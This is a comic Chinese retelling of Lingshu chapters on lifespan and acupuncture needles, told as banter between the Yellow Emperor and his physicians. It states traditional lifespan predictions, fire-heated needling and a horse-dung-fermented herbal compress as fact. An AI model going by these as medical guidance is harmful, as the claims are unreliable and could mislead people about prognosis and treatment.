伯高一听，心里那个乐啊，心想这黄帝还挺逗的，不过咱可是专业的，得给他解释清楚。于是，伯高清了清嗓子，慢悠悠地说：“陛下啊，这事儿吧，其实也不难理解。你想啊，如果一个人身材和气息能配合得好，就像跳舞的搭档一样默契，那他的寿命肯定长啊；要是身材和气息各玩各的，就像吵架的夫妻一样，那肯定短命啦。皮和肉呢，也是一样的道理，要是它们能紧紧团结在一起，就像好哥们儿一样，那寿命也长；要是它们各怀鬼胎，就像塑料姐妹花一样，那肯定也不行啊。至于血气和经络嘛，要是它们比身材还壮实，就像大力士一样，那寿命肯定杠杠的；要是它们比身材还虚弱，就像林黛玉一样，那肯定也不行咯。” 黄帝一听，眉头一皱，觉得这事儿好像没那么简单：“伯高啊，你说得轻巧，但这其中的道理，能不能再给我讲讲明白？” 伯高一看黄帝来了兴趣，立马来了精神：“行啊，那我就给你细细道来。你看啊，咱们中医讲究的是一个整体观念，认为人体是一个有机的整体，各个部分都是相互关联、相互影响的。就像咱们平时说的‘牵一发而动全身’，在人体上也是一样的道理。” “先说身材和气息吧。身材呢，其实就反映了咱们身体的物质基础，气息呢，就反映了咱们身体的功能状态。身材好的人，物质基础扎实，就像一座坚固的房子；气息强的人呢，功能状态好，就像一台高效的机器。这两样东西要是配合得好，那房子肯定牢不可破，机器肯定运转自如，寿命自然就长了。” “皮和肉呢，其实就反映了咱们身体的保护层和营养层。皮厚的人啊，就像穿了一层厚厚的铠甲，不容易受伤；肉坚的人呢，就像吃了一堆营养品，身体倍儿棒。这两样东西要是紧紧团结在一起，那就像给身体加了一层双重保险，寿命自然就长了。” “至于血气和经络嘛，那可是咱们身体的生命线啊。血气旺盛的人啊，就像一条奔腾不息的河流，给身体提供了源源不断的能量；经络通畅的人呢，就像一条畅通无阻的高速公路，让身体的各个部分都能得到充分的营养和氧气。这两样东西要是比身材还壮实，那就像给身体加了一层超级buff（增益效果），寿命自然就杠杠的啦！” 黄帝一听，恍然大悟：“原来如此啊！看来咱们中医的理论还真是博大精深啊！” 伯高一看黄帝终于明白了，心里那个美啊，就像中了大奖一样。不过他还是谦虚地说：“哪里哪里，咱们中医的理论啊，那可是经过千百年来无数先辈们的实践和总结才得出来的，咱们只是站在巨人的肩膀上罢了。” 黄帝闲来无事，就拉着伯高，开始了一场关于人体奥秘的闲聊。黄帝捋了捋胡子，一本正经地问：“伯高啊，你说说，咱们这身体上的肉啊、皮啊，松点好还是紧点好？” 伯高一听，嘿，这问题有意思，立马来了精神，他清了清嗓子，回答道：“皇上您问得好！这事儿啊，得这么看——如果一个人身体壮实，皮肤呢，松松垮垮的，像刚出炉的面包一样软绵绵，那这人八成能长寿。为啥呢？因为这表示他身体里的气血运行顺畅，心态也豁达，不纠结，自然活得久。反过来，要是身体壮实，皮肤却紧绷绷的，跟拉满的弓似的，那这人可能就短寿了。为啥？压力大，紧绷绷的，气血都不流通了，能不早衰嘛！” 黄帝一听，点了点头，笑道：“有意思，继续继续！” 伯高接着说：“还有啊，您看一个人的身形壮实，脉象如果坚实有力，那就像山间的小溪，潺潺流动，生命力旺盛，这叫‘顺’。反之，身形壮实，脉象却细小无力，那就像枯井里的水，快见底了，这是气虚的表现，气虚则命危啊！这就好比一辆车，发动机嗡嗡响，有劲儿，那就是好车；要是发动机哼哼唧唧，没力气，这车迟早得报废！” 黄帝听得津津有味，忍不住插话：“那要是身形壮实，可脸上那两块颧骨平平无奇，不凸起来，这又怎么说？” 伯高摸了摸自己的下巴，故作深沉地说：“皇上，这颧骨啊，可是骨骼的一个小缩影。颧骨不起，说明整体骨骼发育得不够壮实，骨骼是身体的支架，支架不牢靠，房子能稳固吗？所以啊，这样的人可能也是短寿的命。这就好比建房子，地基不牢，楼再高也是摇摇欲坠的！” 黄帝一听，哈哈大笑：“伯高啊，你这比喻真是绝了！” 伯高也不谦虚，继续他的幽默讲解：“再说说这身形壮实，肉啊，得坚实有纹理，这才叫真正的‘肉坚’。您想啊，这肉坚实，说明气血充足，营养到位，这人能不结实吗？结实了，自然寿命就长。反之，身形壮实，但肉软绵绵的，没纹理，一捏就瘪，这就叫‘肉脆’。肉脆的人，气血不足，身体抵抗力差，就跟温室里的花朵似的，风一吹就倒，能不短寿吗？” 黄帝听得乐不可支，拍着手说：“伯高啊，你这理论一套一套的，通俗易懂，还幽默风趣，真是让人受益匪浅啊！” 伯高谦虚地笑了笑，接着说道：“皇上您谬赞了。其实啊，咱们中医看病，讲究的就是一个‘形神兼备’。形，就是咱们这肉眼看得见的身体；神，就是咱们身体里的那股子劲儿，那股子生命力。看一个人能不能长寿，不仅要看他身体壮不壮实，皮肤松不松，脉象好不好，还得看他精神状态怎么样，心态乐不乐观。您看那些整天愁眉苦脸，心事重重的人，哪怕身体再好，寿命也不会太长。为啥？心态不好，气血就容易郁结，身体自然就出问题了。” 黄帝点头称是，感慨道：“是啊，心态真的很重要。我看那些长寿的老人，个个都是心态豁达，乐观开朗。看来，要想长寿，不仅要锻炼身体，还得修炼心态啊！” 伯高连忙附和：“皇上说得极是！所以啊，咱们在看病的时候，不仅要观察病人的身体状况，还得了解他们的心态，这样才能更准确地判断病情，给出合适的治疗方案。毕竟，身体是革命的本钱，心态是长寿的秘诀嘛！” 寿天刚柔篇第六（三） 黄帝摸了摸下巴上的长胡子，自言自语道：“哎，我听说人的寿命有长有短，可这到底该怎么衡量呢？这事儿可真让人头疼啊！” 就在这时，伯高慢悠悠地走过来了。伯高一看黄帝这愁眉苦脸的样子，就笑着说：“哟，黄帝，你这是又在琢磨啥人生哲理呢？” 黄帝叹了口气，说：“还不是寿命这事儿嘛，你说咱们能不能找个啥标准，一眼就能看出一个人能活多久？” 伯高一听，哈哈大笑道：“这事儿啊，简单！你看那房子，墙基要是低得要命，上面的墙却盖得老高，跟地基都不成比例，这样的房子，不用问，肯定不结实，说不定哪天就塌了。人呢，也是这个道理！” 黄帝一听，眼睛一亮，说：“哦？这话怎么讲？” 伯高清了清嗓子，开始他的“爆笑中医寿命论”讲座：“你看啊，咱们人的身体，就像是一座房子。肾呢，就是这座房子的地基。肾精充足，身体就结实，就像地基打得牢，房子就能盖得高。反过来，要是肾精亏虚，身体就弱不禁风，就像地基不稳，上面的房子再高也是摇摇欲坠。” 黄帝点了点头，说：“嗯，这话有理。那照你这么说，肾精亏虚的人，寿命就不长了？” 伯高摸了摸自己的长胡子（嘿，这动作跟黄帝学得真像），一本正经地说：“没错！肾精亏虚的人，身体就像那座地基不稳的房子，三十岁都难过啊！要是再有个啥疾病来凑热闹，嘿嘿，二十岁都可能挺不过去！” 黄帝一听，乐了：“你这说得也太玄乎了吧？二十岁就挂掉，那岂不是比花儿还容易凋谢？” 伯高摆了摆手，说：“这可不是我瞎扯。中医讲究的是整体观念，肾精亏虚，不光是肾的事儿，它还会影响到其他脏腑的功能。就像一座房子，地基不稳，上面的墙、梁、柱都会受影响，你说这房子还能结实吗？” 黄帝点了点头，表示赞同。然后他话锋一转，说：“不过话说回来，咱们也不能光看肾精亏虚就断定一个人的寿命吧？毕竟人生无常，谁说得准呢？” 伯高嘿嘿一笑，说：“那当然。我这只是说了一个大概的规律。人嘛，总是有个体差异的。有的人虽然肾精亏虚，但心态好、生活习惯也好，说不定能活个大岁数呢！就像那座看起来摇摇欲坠的房子，说不定因为主人的精心维护，还挺过了好几场大风大雨呢！” 黄帝一听，哈哈大笑：“说得好！咱们中医讲究的就是这个整体观念和个体差异。看来，寿命这事儿，还真不是一眼就能看出来的！” 说到这儿，黄帝和伯高都笑了。他们知道，虽然中医里有很多关于寿命的理论和预测方法，但最重要的还是人自身的努力和保养。就像那座房子，不管地基打得有多牢，如果主人不精心维护，总有一天会塌掉的。反过来，如果主人用心保养，即使地基不太稳，也能让房子挺过风风雨雨，迎来一个又一个春天。 说到这里，咱们不妨再聊聊中医里的“肾”和“肾精”。在中医看来，“肾”可不光是那个藏在身体里的器官那么简单。它更像是咱们身体的“能量库”，储存着生命的精华和能量。而“肾精”呢，就是这些精华和能量的总称。它不光影响着咱们的生长发育、生殖繁衍，还跟咱们的衰老、寿命有着密切的关系。 所以啊，咱们要想活得长、活得好，就得好好保养咱们的“肾”。这可不光是吃点儿补肾的药那么简单哦！还得从饮食、作息、心态等多方面入手，全方位地呵护咱们的身体。 比如说吧，饮食上咱们可以多吃点儿黑色的食物，像黑豆、黑芝麻、黑木耳啥的。为啥呢？因为黑色入肾嘛！还有啊，作息规律也很重要。别老是熬夜、加班啥的，那样会耗伤咱们的肾精哦！还有啊，心态也很重要。咱们得学会自我调节情绪，别让压力把咱们压垮了！ 当然了，说了这么多，最重要的还是咱们得有个好心态！就像那句老话说的：“笑一笑，十年少；愁一愁，白了头。”咱们要想活得长、活得好，就得天天乐呵呵的！ 黄帝对着伯高说：“嘿，伯高，咱俩聊聊吧！你说说看，一个人的身形和气息之间，谁要是占了上风，这寿命长短是不是就能定下来了？这其中的门道，你给咱说道说道。” 伯高一听，嘿，这可是个有意思的话题，于是清了清嗓子，慢条斯理地回答：“陛下啊，这事儿说起来简单，其实里面学问大了去了。咱们就这么说吧，一个身体健康、精神抖擞的人，要是他的气息比身形还要旺盛，那这人指定能活个大岁数，长命百岁不在话下。为啥呢？因为气息啊，它就像是咱们身体的发动机，气息足，身体各项机能就运转得顺畅，自然就能活得长久啦！” 黄帝一听，觉得颇有道理，但又忍不住追问：“那要是反过来呢？比如说一个人病歪歪的，身形都瘦得皮包骨了，但他的气息还挺强，这又是咋回事？” 伯高叹了口气，摇了摇头：“陛下啊，这可不是好兆头啊！要是病得都快不行了，身形都脱相了，可气息还硬撑着，那这人估计就离死不远了。为啥？因为这时候的气息，就像是强弩之末，看着挺猛，其实已经是回光返照了。所以啊，遇到这种情况，咱们还是得赶紧想办法，不然可真就来不及了！” 黄帝一听，恍然大悟：“哦，原来如此！那要是身形占了上风，气息反而弱了，这又是啥情况？” 伯高叹了口气，更加沉重地说：“陛下啊，这种情况，那可就危险啦！身形要是比气息强太多，那就像是空有一副好皮囊，里面却没多少料。这人啊，看着挺壮实，其实内里已经空虚了。一旦有个风吹草动，身体就受不了，说不定哪天就突然垮掉了。所以啊，咱们平时还是得注意调养身体，让气息和身形保持平衡，这样才能健康长寿啊！” 说到这里，咱们不妨再来聊聊这中医理论里的“形气关系”。其实啊，这“形”和“气”在中医里可是非常重要的两个概念。形呢，指的就是咱们的身体，包括骨骼、肌肉、脏腑等等；而气呢，则是指咱们身体里的各种生命活动，比如呼吸、消化、循环等等。这两者之间啊，得保持一种动态的平衡，身体才能健康。 咱们平时啊，经常能看到一些人，虽然长得高高大大，但总是感觉有气无力的，干啥都提不起劲来。这种人呢，往往就是“形胜气”的典型代表。他们的身体虽然看起来挺壮实，但内里却空虚得很，气息不足，身体各项机能都运转不畅。所以啊，这种人虽然看起来挺猛，但其实很容易生病，一旦有个啥风吹草动，身体就受不了。 反过来呢，有些人虽然长得不咋地，甚至还有点瘦小，但人家精神头十足，干啥都特有劲。这种人呢，往往就是“气胜形”的代表。他们的身体虽然看起来不咋地，但气息却非常旺盛，身体各项机能都运转得非常好。所以啊，这种人虽然长得不咋地，但却能健康长寿。 黄帝有一天对伯高发问了：“伯高啊，我听说这针灸之术里有个‘三变’的说法，这到底是个啥玩意儿？你给我说道说道。” 伯高一听，嘿，这可是展示自己的好机会啊，于是他清了清嗓子，摆出一副老中医的架势，缓缓道来：“陛下啊，这针灸里的‘三变’，那可是大有讲究。简单来说，就是刺营、刺卫，还有刺那寒痹留在经络里的顽固分子。” 黄帝一听，眉头微皱：“哦？这听起来挺玄乎的，你详细说说。” 伯高一看黄帝来了兴趣，顿时精神抖擞，开始了他的爆笑针灸理论讲解。 “首先说这刺营啊，就像是给身体里的‘小钱库’——营气，来个精准打击。营气嘛，就是咱们身体里负责滋养血液、濡养脏腑的那股子力量。你想啊，如果一个人营养不良，面黄肌瘦的，那他身体里的营气肯定不够壮实。这时候，咱们就得用针灸来刺激一下，让营气振作起来，给身体加加油。” “那具体怎么刺呢？这就得讲究手法和穴位了。比如说，咱们可以选择一些跟脾胃相关的穴位，因为脾胃是后天之本嘛，脾胃好了，营气自然就足了。然后，用轻柔的手法，慢慢刺入，就像是给营气来个温柔的按摩，让它感受到咱们的关爱，从而焕发出新的活力。” 黄帝一听，点了点头：“嗯，这刺营听起来还挺有道理的。那刺卫呢？” 伯高嘿嘿一笑：“刺卫啊，这就好比是给身体的‘保安队’——卫气，来个紧急集合。卫气嘛，就是负责守护身体、抵御外邪的那股子力量。你想啊，如果一个人总是感冒、发烧，那他身体里的卫气肯定不够给力。这时候，咱们就得用针灸来刺激一下，让卫气紧张起来，给身体筑起一道坚固的防线。” “那具体怎么刺呢？这就得选一些跟肺相关的穴位了，因为肺主皮毛嘛，是身体的第一道防线。然后，用稍微重一点的手法，快速刺入，就像是给卫气来个突然的警报，让它立刻进入战斗状态。这样一来，卫气就会精神抖擞地守护身体，让那些妖魔鬼怪都滚得远远的。” 黄帝一听，哈哈大笑：“你这说法挺有意思的。那最后这个刺寒痹之留经呢？” 伯高故作神秘地说：“这个啊，可是针灸里的重头戏。寒痹嘛，就像是身体里的‘冰块’，它们会堵住经络，让气血运行不畅。你想啊，如果一个人总是关节疼痛、活动受限，那他身体里肯定有不少寒痹在作怪。这时候，咱们就得用针灸来给它们来个‘大扫除’。” “那怎么刺呢？这就得选一些跟疼痛部位相关的穴位了。然后，用又重又慢的手法，深深刺入，就像是给寒痹来个深度挖掘。这一挖啊，寒痹就无处遁形了。接着，咱们再用一些温热的手法，比如艾灸啊、拔罐啊，给它们来个‘热疗’，让它们彻底融化。这样一来，经络就通畅了，气血就能顺畅运行了，疼痛也就自然消失了。” 黄帝突然心血来潮，对着身边的伯高说：“伯高啊，你说咱们针灸里那个‘刺三变’到底是个啥玩意儿？能不能给我说道说道？” 伯高一听，嘿，这可是展示自己的大好机会啊！于是他清了清嗓子，一本正经地开始讲解：“陛下啊，这‘刺三变’啊，其实就是说咱们针灸有三种不同的变法，针对不同的病症，得用不同的招数。就好比打游戏，遇到小怪用大刀，遇到Boss就得掏神器了。” 黄帝一听，这比喻还挺贴切，于是点了点头，示意伯高继续说下去。 伯高接着说：“首先呢，咱们说说刺营。营啊，就是咱们身体里的营养液，它滋养着咱们的全身。要是营分出了问题，比如说堵了、淤了，那身体可就得遭殃了。这时候呢，咱们就得用针去刺它，刺哪儿呢？当然是刺那些淤堵的地方啦！这一刺啊，淤血就哗哗地往外流，就像打开了水龙头一样。这样一来，营分就通畅了，身体也就舒服多了。这就好比家里的下水道堵了，你得拿疏通器去捅一捅，把垃圾都冲走，下水道不就畅通无阻了嘛！” 黄帝一听，哈哈大笑：“老高啊，你这比喻可真够生动的！那刺卫又是怎么回事呢？” 伯高一看黄帝乐了，心里也美滋滋的，继续讲道：“刺卫啊，这个卫呢，就是咱们身体的保镖，它负责保护咱们不受外邪的侵害。要是卫分虚弱了，那身体可就危险了，外邪就会趁机而入。这时候呢，咱们就得用针去刺激它，让它振作起来。怎么刺激呢？就是刺那些气虚的地方，让气流通起来。这一刺啊，就好像给保镖打气一样，让它精神焕发，重新上岗。这样一来，外邪就不敢轻易侵犯咱们的身体了。这就好比家里的防盗门坏了，你得赶紧修一修，换上新的锁芯，这样小偷就进不来了嘛！” 黄帝一听，更是乐不可支：“伯高啊，你这脑子是怎么长的？怎么什么都能想到一块儿去！那刺寒痹呢？这个寒痹又是什么鬼？” 伯高一看黄帝兴趣盎然，更是来了精神：“陛下啊，这寒痹啊，就是咱们身体里的冰块儿，它让咱们的身体变得僵硬、疼痛。就好比冬天里咱们的手脚被冻僵了一样，那感觉可不好受。这时候呢，咱们就得用针去刺它，刺哪儿呢？当然是刺那些寒气聚集的地方啦！这一刺啊，就好像给身体里的冰块儿加热一样，让它慢慢融化。这样一来，身体就变得柔软、舒适了。这就好比咱们冬天里吃火锅，热腾腾的火锅一吃下去，全身的寒气都散了，那感觉可美了！” 寿天刚柔篇第六（四） 话说有一天，黄帝闲来无事，便召集了手下的一群医学大咖们开会，讨论起了人体健康的那些琐碎事儿。这黄帝啊，不仅是个治国能手，对医学也是情有独钟，总想着怎么让人类少受点病痛折磨，活得更加滋润。 这不，黄帝一开口，就直接抛出了个大问题：“各位爱卿啊，你们说说，这营卫寒痹到底是怎么个病法？为啥人们一得上这病，就痛苦不堪呢？” 众人一听，心里那个嘀咕啊：这黄帝陛下的问题，可真不是一般的难回答！不过，咱们的伯高大夫，那可是出了名的医学才子，这种问题对他来说，简直就是小菜一碟。 只见伯高不慌不忙地站出来，清了清嗓子，开始了他的精彩讲解：“陛下啊，这营卫寒痹啊，说白了就是咱们身体里的两个重要系统——营气和卫气，它们要是出了问题，咱们就得遭殃了。” 黄帝一听，来了兴趣：“哦？愿闻其详。” 伯高微微一笑，继续道：“先说说这营气吧。营气啊，就像是咱们身体里的运输大队长，负责把血液和各种营养物质输送到全身各处。要是营气出了问题，那可不得了！比如说，有的人会突然感到忽冷忽热，就像是坐在了过山车上，一会儿热得想脱衣服，一会儿冷得直打哆嗦。这还不算，他们还总觉得气不够用，稍微动一动就气喘吁吁的，就像是刚跑完马拉松一样。” 黄帝听了，忍不住点了点头：“嗯，这营气出问题，确实挺让人难受的。那卫气呢？它要是出了问题，又会咋样？” 伯高一看黄帝上了道儿，讲得更起劲了：“这卫气啊，就像是咱们身体的保安队长，负责保卫咱们的身体不受外邪的侵犯。要是卫气出了问题，那身体可就乱套了！比如说，有的人会觉得肚子里气鼓鼓的，时不时地疼上一阵儿，就像是有个调皮的小鬼在里面捣乱一样。而且啊，这疼痛还时来时去，没有个准儿，就像是跟你玩捉迷藏呢！更糟糕的是，这卫气一旦出了问题，风寒这些坏东西就容易趁机溜进咱们的肠胃里，搞得咱们拉肚子、肚子疼，那叫一个难受啊！” 黄帝一听，忍不住皱了皱眉：“这卫气出问题，也是够让人头疼的。那寒痹呢？它又是怎么个病法？” 伯高一看黄帝的表情，就知道他已经被自己的讲解吸引住了，于是更加卖力地讲了起来：“这寒痹啊，说白了就是寒气在咱们身体里赖着不走了！它就像是个顽固的小偷，偷走了咱们身体的温暖和活力。得了寒痹的人啊，会觉得身上某个地方总是隐隐作痛，就像是有个小锤子在那里不停地敲啊敲。而且啊，他们的皮肤还会变得麻木不仁，就像是被冻僵了一样，感觉不到冷热和疼痛。” 黄帝听了，不禁感叹道：“哎呀，这寒痹可真是害人不浅啊！那有没有什么办法可以预防和治疗呢？” 伯高一听，心里那个得意啊：就知道黄帝陛下会这么问！于是他赶紧回答道：“陛下啊，这预防和治疗的办法啊，其实就在咱们的生活细节里。比如说啊，咱们平时得多运动运动，让身体暖和起来，这样寒气就不容易入侵了。还有啊，咱们得注意饮食调理，多吃些温热的食物，少吃那些生冷寒凉的东西。再比如说啊，咱们还可以通过针灸、按摩这些方法来疏通经络、调和气血，让身体恢复到最佳状态。” 黄帝一听，顿时觉得豁然开朗：“哎呀，听你这么一说啊，我这心里可是透亮多了！看来啊，这养生之道啊，还真是得靠咱们平时的多注意和调理啊！” 众臣一听，也纷纷点头赞同。这场关于营卫寒痹的讨论啊，就在一片欢声笑语中结束了。 黄帝闲来无事，就开始琢磨起医学上的事儿来了。他想啊想，突然灵光一闪，对着身边的伯高说：“伯高啊，你说这治疗寒痹内热的针灸方法，咱们得怎么整才好呢？” 伯高一听，心里那个乐呵，心想这黄帝陛下真是好学不倦啊。于是，他清了清嗓子，一本正经地回答：“陛下，这事儿啊，咱们得分人来看。” 黄帝一听，眉头一皱：“哦？这话怎讲？” 伯高开始娓娓道来：“要是刺的是普通老百姓，咱们就用火焠之法。” 黄帝一听，有点儿懵：“火焠？这不是打铁用的词儿吗？怎么跟针灸扯上关系了？” 伯高哈哈一笑：“陛下您别急，听我慢慢道来。这火焠啊，可不是真的拿铁锤砸针去烧火。咱们是把针在火上稍微烤一烤，烤得微微发红，然后再迅速刺入患者的穴位。这样一来，针上带的热气就能顺着穴位进入身体，帮助驱散体内的寒气，同时还能刺激经络，调和气血，达到治疗寒痹内热的效果。” 黄帝一听，恍然大悟：“原来如此，这方法倒是挺接地气的。那要是刺的是达官贵人呢？” 伯高神秘一笑：“这事儿啊，咱们就不能太简单粗暴了。得用点儿高大上的手段——药熨之法。” 黄帝一听，更来劲了：“药熨？这又是什么黑科技？” 伯高摆摆手：“陛下您又想多了。这药熨啊，说白了就是用草药包热敷。咱们先挑选一些温经散寒、活血通络的草药，比如艾叶、桂枝、川芎啥的，把它们捣碎了混在一起，然后用布包起来。接着呢，咱们把这草药包放在火上加热，加热到微微发烫的时候，再趁热敷在患者的穴位上。” 黄帝一听，眼睛一亮：“这方法听起来挺舒服的，跟做spA似的。那这些草药包得敷多久啊？” 伯高摸了摸下巴上的胡子：“这个嘛，得看患者的具体情况。要是寒气重呢，咱们就多敷一会儿；要是内热盛呢，咱们就少敷一会儿。反正啊，就是得根据实际情况来调整，做到因人而异、因病施治。” 黄帝一听，连连点头：“不错不错，你这方法真是既科学又人性化。不过啊，朕还有个问题，这针灸治疗寒痹内热，有没有什么需要注意的地方呢？” 伯高一听，心里那个得意啊，心想这黄帝陛下真是问到点子上了。于是他清了清嗓子，开始详细讲解起来：“陛下啊，这针灸治疗寒痹内热啊，确实有几个需要注意的地方。首先呢，就是得找准穴位。这穴位啊，就像是身体上的小开关，按对了就能起到四两拨千斤的效果。要是按错了，那可就得不偿失了。” 黄帝一听，连忙点头：“对对对，穴位这事儿可不能马虎。那第二点呢？” 伯高接着说：“第二点就是得注意火候。这火焠之法啊，针不能烤得太热，也不能烤得太冷。太热了容易烫伤皮肤，太冷了又起不到效果。所以这火候啊，得掌握得恰到好处才行。” 黄帝一听，心里那个佩服啊：“伯高啊，你这火候掌握得真是炉火纯青啊！那第三点呢？” 伯高笑了笑：“第三点就是得注意患者的体质。这不同的人啊，体质也不一样。有的人呢，寒气重、气血虚；有的人呢，内热盛、火气大。所以啊，咱们在治疗的时候啊，得根据患者的体质来调整针灸的方案和草药的配方，做到因人而异、因病施治。” 黄帝一听，连声称赞：“不错不错，你这方法真是既全面又细致。那朕再问你一下，这针灸治疗寒痹内热啊，有没有什么禁忌症呢？” 伯高一听，心里那个紧张啊，心想这黄帝陛下真是问到关键的地方了。于是他连忙回答：“陛下啊，这针灸治疗寒痹内热啊，确实有几个禁忌症。比如呢，孕妇就不能针灸；还有呢，皮肤有破损或者感染的地方也不能针灸；再有啊，就是一些严重的心脏病、高血压等慢性病患者啊，也得谨慎使用针灸疗法。” 黄帝一听，连连点头：“不错不错，你这禁忌症说得挺全面的。那朕再问你一下啊，这针灸治疗寒痹内热啊，有没有什么副作用呢？” 伯高一听，心里那个放松啊，心想这黄帝陛下终于问到轻松的地方了。于是他微笑着回答：“陛下啊，这针灸治疗啊，一般来说副作用是比较小的。只要咱们找准穴位、掌握好火候、注意患者的体质和禁忌症啊，就能起到很好的治疗效果。当然啦，要是操作不当或者患者体质特殊啊，也有可能出现一些不适的症状。不过啊，这些症状一般都是暂时的、轻微的，很快就能自行缓解或者通过调整治疗方案来解决。” 黄帝再次问起了伯高：“嘿，伯高啊，药熨的疗法，挺神奇的样子，你给我讲讲呗？” 伯高一听，心里暗喜：嘿，这可是展示我医术的大好机会啊！于是，他清了清嗓子，开始给黄帝讲解起来。 “黄帝啊，这药熨疗法啊，那可是咱们老祖宗传下来的宝贝。得用好东西才行，首先得备上二十斤的淳酒，就是那种又香又醇的粮食酒，想想都流口水。然后呢，还得加上一斤的蜀椒，这蜀椒啊，那可是四川的特产，麻辣鲜香，吃了让人欲罢不能。当然啦，干姜也不能少，得来个一斤，这干姜啊，可是暖胃神器，冬天吃上一口，整个人都暖和和的。最后呢，还得来点桂心，也是一斤，这桂心啊，香气扑鼻，还能安神定志。” 黄帝一听，眼睛都亮了：“哎呀，这配料听起来就不错啊，是不是可以直接下锅炒炒吃了？” 伯高一听，差点没笑出来：“黄帝啊，您可真逗。这配料啊，可不是用来炒着吃的，得用来泡酒。把这四种宝贝都剁碎了，跟剁饺子馅似的，然后一股脑儿地扔进那二十斤的淳酒里。这酒啊，就像是它们的温泉，得让它们好好泡泡澡。” 黄帝点了点头：“嗯，这主意不错。然后呢？” 伯高接着说：“然后啊，还得准备一斤的绵絮和四丈的细白布。这绵絮啊，就像是它们的棉被，得让它们盖得暖暖的。这细白布呢，就像是它们的浴巾，得让它们洗得干干净净的。然后啊，把这些都扔进酒里，让它们跟那四种宝贝一起泡澡。” 黄帝一听，哈哈大笑：“你这比喻可真逗，它们这是在开派对啊！” 伯高也跟着笑了起来：“对啊，对啊，它们就是在开派对。不过啊，这派对可不是白开的，得让它们好好发酵一下。所以啊，得找个马粪堆，把泡着宝贝的酒坛子放进去，用泥巴封好口，别让它们跑了气儿。然后呢，就等着它们在里面嗨皮个五天五夜。” 黄帝一听，差点没笑岔气：“马粪堆？你这是让它们去体验农家乐啊？” 伯高摆了摆手：“黄帝啊，您可别小看了这马粪堆，那可是天然的温室啊，能让它们在里面好好发酵。等五天五夜一过，咱们就把那绵絮拿出来晒晒，晒干了再扔进去泡，得让它们把里面的汁儿都吸干了才行。” 黄帝点了点头：“嗯，这过程听起来挺有意思的。那最后呢？” 伯高说：“最后啊，等那绵絮和药渣都晒干了，咱们就把它们跟那细白布一起，做成六七条长长的毛巾。这毛巾啊，就像是它们的战袍，得让它们披上出征。然后呢，咱们就用这毛巾，裹上生桑炭，烤得热乎乎的，再往那寒痹的地方一熨，嘿，那热气儿就嗖嗖地往病所里钻了。” 黄帝一听，眼睛又亮了：“哎呀，这办法不错啊，是不是跟热敷似的？” 伯高点了点头：“对啊，对啊，就像是热敷，不过比热敷可厉害多了。这热气儿啊，能直达病所，把那里的寒气都给逼出来。等感觉冷了，就再烤烤毛巾，再熨一遍，得熨个三十遍才行。” 黄帝一听，哈哈大笑：“你这办法可真逗，是不是得把病人熨成烤肉了才算完啊？” 伯高也跟着笑了起来：“黄帝啊，您可真会开玩笑。不过啊，这三十遍可不是白熨的，等熨完了，那病人啊，就得出一身大汗，然后再用毛巾擦擦身子，也得擦个三十遍才行。然后呢，就让病人进屋歇着，别见风。每次扎针之后啊，都得这么熨一遍，等病好了啊，那就算是大功告成了。” 黄帝一听，连连点头：“嗯，这办法不错，真是内热外治啊！” 官针篇第七（一） 话说有一天，黄帝闲来无事，就琢磨起了医学这门高深的学问。他挠了挠头，自言自语道：“哎，我这脑袋瓜子怎么就对针灸这玩意儿转不过弯来呢？”于是，他决定去找岐伯聊聊，看看这位医学界的泰斗能不能给他点启发。 黄帝溜达着就到了岐伯家，一进门就嚷嚷开了：“嘿，岐伯，快出来快出来，我这有个大问题要请教你呢！”岐伯一听，就知道黄帝这老小子又犯嘀咕了，于是笑眯眯地迎了出来：“哟，黄帝，今儿个刮的什么风把你给吹来了？有啥事儿说吧。” 黄帝也不客气，一屁股坐下就开始发问：“岐伯啊，你说这针灸到底是个啥玩意儿？我怎么老是搞不明白呢？”岐伯一听，哈哈大笑：“你这问题问得，针灸啊，那可是咱们老祖宗留下来的宝贝，深奥着呢！不过呢，要说起来，也得从头捋一捋。” 岐伯清了清嗓子，开始了他的讲解：“要说针灸啊，首先得知道‘官针最妙’这个道理。啥是官针呢？简单来说，就是针灸针的分类和使用方法。咱们老祖宗啊，为了把针灸这门学问搞透彻，愣是把针分成了九大类，什么镵针、长针、大针、圆针、鍉针、锋针、铍针、圆利针、毫针啥的，各有各的用处，各有各的妙处。” 黄帝一听，眼睛瞪得圆圆的：“哇塞，这么多针？那不得把人扎成筛子啊！”岐伯一听，差点没笑喷出来：“你这想的啥呀！针灸可不是乱扎的，得根据病情、穴位、深浅啥的一一对应才行。就像你吃饭，不能啥菜都往嘴里塞吧？” 黄帝挠了挠头，似懂非懂地点点头：“哦，这样啊。那这些针的长短大小，又有个啥讲究呢？”岐伯耐心地解释道：“这长短大小啊，那都是根据病情来定的。比如说吧，你要是得了个皮肤病，那就得用短针浅刺，就像挠痒痒一样，轻轻一碰就行了。可要是得了个内脏的病，那就得用长针深刺了，得扎到病根儿上才行。” 黄帝一听，恍然大悟：“哦，原来是这样啊！那要是用错了针呢？”岐伯一听这话，脸色就严肃起来了：“用错了针，那可就麻烦大了。比如说吧，你要是个小毛病，却用了个大针猛扎，那可就惨了，气泻得太厉害，身体可就垮了。反过来呢，你要是个大毛病，却用了个小针轻轻碰一下，那病气根本就泻不出来，病情反而会加重。” 黄帝一听，吓得直吐舌头：“妈呀，这针灸学问可真大！那要是扎错了深浅呢？”岐伯叹了口气：“扎错了深浅啊，那也是个大问题。比如说吧，你要是个浅层的病，却扎得太深，那可就把好肉给扎坏了，说不定还得闹个皮肤痈呢。反过来呢，你要是个深层的病，却扎得太浅，那病气根本就泻不出来，说不定还会憋成个大脓包呢！” 黄帝一听，眼睛瞪得圆圆的，彻底被岐伯的针灸学问给镇住了，连声赞叹道：“岐伯啊岐伯，你这针灸的学问简直是深不见底啊！快跟我说说，这针到底该怎么用才算是用到了点子上？” 岐伯捋了捋胡子，笑眯眯地说：“皇上啊，您这问题问得好！其实呢，用针的关键啊，就在一个‘宜’字上。您想啊，这针灸就跟咱们平时穿衣服一样，得讲究个合适不合适。” 黄帝挠了挠头，疑惑地问：“穿衣服？这跟针灸有啥关系？” 岐伯哈哈一笑，解释道：“您看，咱们穿衣服得根据天气变化、场合需要来选择吧？冷了得穿暖和点，热了得穿凉快点；正式场合得穿得体面点，休闲时候就随意点。针灸也是一样的道理啊！病情不同，得选的穴位就不同；穴位不同，扎针的深浅也得有讲究。比如说，风寒感冒得扎风池、风府这些祛风散寒的穴位，而且得浅刺；要是腰腿疼痛呢，那就得深刺肾俞、大肠俞这些强壮腰膝的穴位了。” 黄帝一听，恍然大悟：“原来如此啊！看来针灸这学问，还真是跟生活息息相关呢！” 